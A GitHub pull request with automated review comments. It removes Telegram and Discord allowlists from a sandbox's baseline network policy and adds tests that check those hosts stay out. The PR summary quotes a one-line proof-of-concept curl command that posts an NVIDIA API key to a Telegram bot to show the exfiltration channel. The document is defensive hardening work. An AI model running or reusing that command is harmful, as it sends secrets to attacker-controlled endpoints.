security: remove telegram and discord from baseline sandbox policy#611
security: remove telegram and discord from baseline sandbox policy#611gn00295120 wants to merge 2 commits into
Conversation
Telegram and Discord network policy blocks were always-on in the baseline with no binaries: restriction, allowing any sandbox process to POST arbitrary data to attacker-controlled bots or webhooks. Fix: remove from baseline. Both are already available as opt-in presets (telegram.yaml, discord.yaml) via `nemoclaw preset apply`. 7 tests: host deny-list, binaries coverage invariant, preset existence. Signed-off-by: Lucas Wang <lucas_wang@lucas-futures.com>
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (2)
✅ Files skipped from review due to trivial changes (1)
🚧 Files skipped from review as they are similar to previous changes (1)
📝 WalkthroughWalkthroughRemoved Telegram and Discord allowlists from the baseline sandbox network policy and replaced them with opt-in presets; added tests that assert those hosts are absent from the baseline, ensure every top-level Changes
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~20 minutes Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
Pull request overview
This PR hardens the baseline OpenClaw sandbox policy by removing always-on Telegram/Discord allowlists that could be used as an unconditional data exfiltration path, keeping those integrations available only through opt-in policy presets.
Changes:
- Remove Telegram and Discord
network_policiesblocks from the baseline sandbox policy YAML. - Add a security regression test ensuring baseline YAML doesn’t contain Telegram/Discord hosts and that baseline
network_policiesentries havebinaries:restrictions. - Add tests verifying the opt-in telegram/discord preset files exist and contain expected hosts.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.
| File | Description |
|---|---|
nemoclaw-blueprint/policies/openclaw-sandbox.yaml |
Removes baseline Telegram/Discord network policy entries and adds an explanatory comment about opt-in presets. |
test/security-c3-baseline-messaging.test.js |
Adds regression tests to prevent reintroduction of messaging hosts in baseline and enforce a baseline binaries: invariant. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| # Telegram and Discord are NOT included in the baseline policy. | ||
| # Any process in the sandbox can reach these endpoints when enabled, | ||
| # making them data exfiltration channels (C-3). Users who need | ||
| # messaging can opt in: nemoclaw preset apply telegram|discord |
There was a problem hiding this comment.
The comment suggests running nemoclaw preset apply telegram|discord, but the CLI in this repo exposes preset application via nemoclaw <sandbox> policy-add (and onboard applies suggested presets). Please update the instructions here to match the actual command(s) so users aren’t misled.
| # messaging can opt in: nemoclaw preset apply telegram|discord | |
| # messaging can opt in via `nemoclaw onboard` (suggested presets) or | |
| # by running `nemoclaw <sandbox> policy-add telegram|discord`. |
| continue; | ||
| } | ||
| if (!inNetworkPolicies) continue; | ||
| if (/^ \w/.test(line) && line.trimEnd().endsWith(":")) { |
There was a problem hiding this comment.
The network_policies parsing in this test only recognizes block keys that match ^ \w (letters/digits/underscore). YAML keys can legally contain hyphens or other characters, which would cause this test to mis-detect blocks and potentially miss a missing binaries: restriction. Consider loosening the block-start matcher to accept any valid YAML key token up to : (while still excluding comments).
| if (/^ \w/.test(line) && line.trimEnd().endsWith(":")) { | |
| if (/^ {2}(?!#)\S.*:\s*$/.test(line)) { |
There was a problem hiding this comment.
🧹 Nitpick comments (2)
test/security-c3-baseline-messaging.test.js (2)
107-121: Add assertion messages for content checks.The content assertions on lines 111-112 and 119-120 lack descriptive messages. If these fail, the error won't explain what was missing.
♻️ Add descriptive assertion messages
it("telegram.yaml preset exists and contains api.telegram.org", () => { const presetPath = path.join(PRESETS_DIR, "telegram.yaml"); assert.ok(fs.existsSync(presetPath), "telegram.yaml preset must exist"); const content = fs.readFileSync(presetPath, "utf-8"); - assert.ok(content.includes("api.telegram.org")); - assert.ok(content.includes("network_policies:")); + assert.ok(content.includes("api.telegram.org"), "telegram.yaml must include api.telegram.org"); + assert.ok(content.includes("network_policies:"), "telegram.yaml must include network_policies:"); }); it("discord.yaml preset exists and contains discord.com", () => { const presetPath = path.join(PRESETS_DIR, "discord.yaml"); assert.ok(fs.existsSync(presetPath), "discord.yaml preset must exist"); const content = fs.readFileSync(presetPath, "utf-8"); - assert.ok(content.includes("discord.com")); - assert.ok(content.includes("network_policies:")); + assert.ok(content.includes("discord.com"), "discord.yaml must include discord.com"); + assert.ok(content.includes("network_policies:"), "discord.yaml must include network_policies:"); });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@test/security-c3-baseline-messaging.test.js` around lines 107 - 121, The two content assertions inside the tests "telegram.yaml preset exists and contains api.telegram.org" and "discord.yaml preset exists and contains discord.com" are missing descriptive messages; update the assert.ok(content.includes(...)) calls for both telegram and discord to include a third argument message that states which substring was expected and which preset file (use PRESETS_DIR/presetPath and the expected token like "api.telegram.org" or "discord.com") so failures clearly report the missing content for content and network_policies checks.
61-100: YAML parsing is fragile but acceptable for this security invariant.The hand-rolled YAML parsing assumes specific indentation (2-space) and structure. This works for the known
openclaw-sandbox.yamlformat.For improved robustness, consider using a proper YAML parser (e.g.,
js-yaml) to avoid false positives/negatives if the file format evolves.♻️ Optional: Use a YAML parser for more robust validation
// At top of file const yaml = require("js-yaml"); // In test it("no baseline network_policies block lacks a binaries: restriction", () => { const content = fs.readFileSync(BASELINE, "utf-8"); const doc = yaml.load(content); const policies = doc.network_policies || {}; const violators = Object.entries(policies) .filter(([_, v]) => !v.binaries || v.binaries.length === 0) .map(([name]) => name); assert.deepEqual(violators, [], `Baseline blocks without binaries: restriction: ${violators.join(", ")}`); });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@test/security-c3-baseline-messaging.test.js` around lines 61 - 100, The current hand-rolled parsing (variables inNetworkPolicies, currentBlock, blocks, violators reading fs.readFileSync(BASELINE)) is fragile; replace it by parsing the YAML with a real parser (require("js-yaml") and yaml.load(content)) and then read doc.network_policies to build the violators list (checking each policy's binaries property). Update the test's assertion to use the violators derived from Object.entries(doc.network_policies) (or {} if missing) so names and counts come from the parsed structure rather than line-based heuristics, but keep the same failure message formatting if desired.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Nitpick comments:
In `@test/security-c3-baseline-messaging.test.js`:
- Around line 107-121: The two content assertions inside the tests
"telegram.yaml preset exists and contains api.telegram.org" and "discord.yaml
preset exists and contains discord.com" are missing descriptive messages; update
the assert.ok(content.includes(...)) calls for both telegram and discord to
include a third argument message that states which substring was expected and
which preset file (use PRESETS_DIR/presetPath and the expected token like
"api.telegram.org" or "discord.com") so failures clearly report the missing
content for content and network_policies checks.
- Around line 61-100: The current hand-rolled parsing (variables
inNetworkPolicies, currentBlock, blocks, violators reading
fs.readFileSync(BASELINE)) is fragile; replace it by parsing the YAML with a
real parser (require("js-yaml") and yaml.load(content)) and then read
doc.network_policies to build the violators list (checking each policy's
binaries property). Update the test's assertion to use the violators derived
from Object.entries(doc.network_policies) (or {} if missing) so names and counts
come from the parsed structure rather than line-based heuristics, but keep the
same failure message formatting if desired.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 0cc0ba79-41de-4f13-827f-2eb678b6021e
📒 Files selected for processing (2)
nemoclaw-blueprint/policies/openclaw-sandbox.yamltest/security-c3-baseline-messaging.test.js
There was a problem hiding this comment.
🧹 Nitpick comments (2)
test/security-c3-baseline-messaging.test.js (2)
115-121: Discord preset check is a bit too narrow for regression coverage.Line 119 only validates
discord.com. To protect preset functionality, also assertgateway.discord.ggandcdn.discordapp.comare present indiscord.yaml.✅ Suggested assertion additions
it("discord.yaml preset exists and contains discord.com", () => { const presetPath = path.join(PRESETS_DIR, "discord.yaml"); assert.ok(fs.existsSync(presetPath), "discord.yaml preset must exist"); const content = fs.readFileSync(presetPath, "utf-8"); assert.ok(content.includes("discord.com"), "discord.yaml must include discord.com"); + assert.ok(content.includes("gateway.discord.gg"), "discord.yaml must include gateway.discord.gg"); + assert.ok(content.includes("cdn.discordapp.com"), "discord.yaml must include cdn.discordapp.com"); assert.ok(content.includes("network_policies:"), "discord.yaml must include network_policies:"); });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@test/security-c3-baseline-messaging.test.js` around lines 115 - 121, Update the Discord preset test in test/security-c3-baseline-messaging.test.js (the it block titled "discord.yaml preset exists and contains discord.com") to strengthen assertions: after reading the file into the content variable (presetPath, content, PRESETS_DIR), add assertions using assert.ok to verify that content.includes("gateway.discord.gg") and content.includes("cdn.discordapp.com") in addition to the existing discord.com and network_policies checks so the preset covers gateway and CDN hosts too.
29-59: Consider parameterizing host-absence assertions to reduce duplication.These tests repeat the same read/assert pattern four times. A small table-driven loop would keep this easier to extend and maintain.
♻️ Suggested refactor
describe("C-3: baseline policy must not contain messaging exfiltration channels", () => { - it("api.telegram.org does not appear in baseline YAML", () => { - const yaml = fs.readFileSync(BASELINE, "utf-8"); - assert.ok( - !yaml.includes("api.telegram.org"), - "api.telegram.org must not appear in baseline — use the telegram preset instead", - ); - }); - - it("discord.com does not appear in baseline YAML", () => { - const yaml = fs.readFileSync(BASELINE, "utf-8"); - assert.ok( - !yaml.includes("discord.com"), - "discord.com must not appear in baseline — use the discord preset instead", - ); - }); - - it("gateway.discord.gg does not appear in baseline YAML", () => { - const yaml = fs.readFileSync(BASELINE, "utf-8"); - assert.ok( - !yaml.includes("gateway.discord.gg"), - "gateway.discord.gg must not appear in baseline — use the discord preset instead", - ); - }); - - it("cdn.discordapp.com does not appear in baseline YAML", () => { - const yaml = fs.readFileSync(BASELINE, "utf-8"); - assert.ok( - !yaml.includes("cdn.discordapp.com"), - "cdn.discordapp.com must not appear in baseline — use the discord preset instead", - ); - }); + const yaml = fs.readFileSync(BASELINE, "utf-8"); + const forbiddenHosts = [ + ["api.telegram.org", "telegram preset"], + ["discord.com", "discord preset"], + ["gateway.discord.gg", "discord preset"], + ["cdn.discordapp.com", "discord preset"], + ]; + + for (const [host, preset] of forbiddenHosts) { + it(`${host} does not appear in baseline YAML`, () => { + assert.ok( + !yaml.includes(host), + `${host} must not appear in baseline — use the ${preset} instead`, + ); + }); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@test/security-c3-baseline-messaging.test.js` around lines 29 - 59, Replace the four nearly identical tests that read BASELINE with a parameterized table-driven test: read the file once using fs.readFileSync(BASELINE, "utf-8") into a variable (instead of repeating in each it block) and iterate over an array of host strings (e.g., ["api.telegram.org","discord.com","gateway.discord.gg","cdn.discordapp.com"]) to create assertions (assert.ok(!yaml.includes(host), ...)). Update the existing it blocks to a single test or a loop that calls assert.ok for each host and reuse the same error message pattern; reference the existing BASELINE constant and the current use of fs.readFileSync/assert.ok to locate where to change.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Nitpick comments:
In `@test/security-c3-baseline-messaging.test.js`:
- Around line 115-121: Update the Discord preset test in
test/security-c3-baseline-messaging.test.js (the it block titled "discord.yaml
preset exists and contains discord.com") to strengthen assertions: after reading
the file into the content variable (presetPath, content, PRESETS_DIR), add
assertions using assert.ok to verify that content.includes("gateway.discord.gg")
and content.includes("cdn.discordapp.com") in addition to the existing
discord.com and network_policies checks so the preset covers gateway and CDN
hosts too.
- Around line 29-59: Replace the four nearly identical tests that read BASELINE
with a parameterized table-driven test: read the file once using
fs.readFileSync(BASELINE, "utf-8") into a variable (instead of repeating in each
it block) and iterate over an array of host strings (e.g.,
["api.telegram.org","discord.com","gateway.discord.gg","cdn.discordapp.com"]) to
create assertions (assert.ok(!yaml.includes(host), ...)). Update the existing it
blocks to a single test or a loop that calls assert.ok for each host and reuse
the same error message pattern; reference the existing BASELINE constant and the
current use of fs.readFileSync/assert.ok to locate where to change.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 073afd83-4391-4a85-af97-09420e999567
📒 Files selected for processing (2)
nemoclaw-blueprint/policies/openclaw-sandbox.yamltest/security-c3-baseline-messaging.test.js
🚧 Files skipped from review as they are similar to previous changes (1)
- nemoclaw-blueprint/policies/openclaw-sandbox.yaml
- Fix CLI command reference to use actual nemoclaw policy-add syntax - Loosen YAML block-start matcher to support hyphenated keys - Add descriptive assertion messages to preset content checks Signed-off-by: Lucas Wang <lucas_wang@lucas-futures.com>
028250c to
11e7d0b
Compare
|
Thanks for submitting this proposed fix to remove the unconditional data exfiltration channels from the baseline sandbox policy, which may help improve the security and privacy of the sandbox environment. |
|
Duplicates #317 |
|
Thanks for this security fix — removing Telegram and Discord from the base policy is the right call. This was addressed by #1705 ( |
Summary
Telegram and Discord network policy blocks were always-on in the baseline sandbox policy with no
binaries:restriction. Any process in the sandbox (curl, python3, node, etc.) could POST arbitrary data to attacker-controlled Telegram bots or Discord webhooks — an unconditional data exfiltration channel from every sandbox.PoC:
curl -X POST "https://api.telegram.org/bot${TOKEN}/sendMessage" -d "text=${NVIDIA_API_KEY}"succeeds from any sandbox process.Fix
Remove
telegramanddiscordblocks fromopenclaw-sandbox.yaml. Both are already available as opt-in presets (presets/telegram.yaml,presets/discord.yaml) vianemoclaw preset apply.Changes
nemoclaw-blueprint/policies/openclaw-sandbox.yamltest/security-c3-baseline-messaging.test.jsTest plan
node --test test/security-c3-baseline-messaging.test.js)binaries:restrictionSummary by CodeRabbit
Security Updates
Tests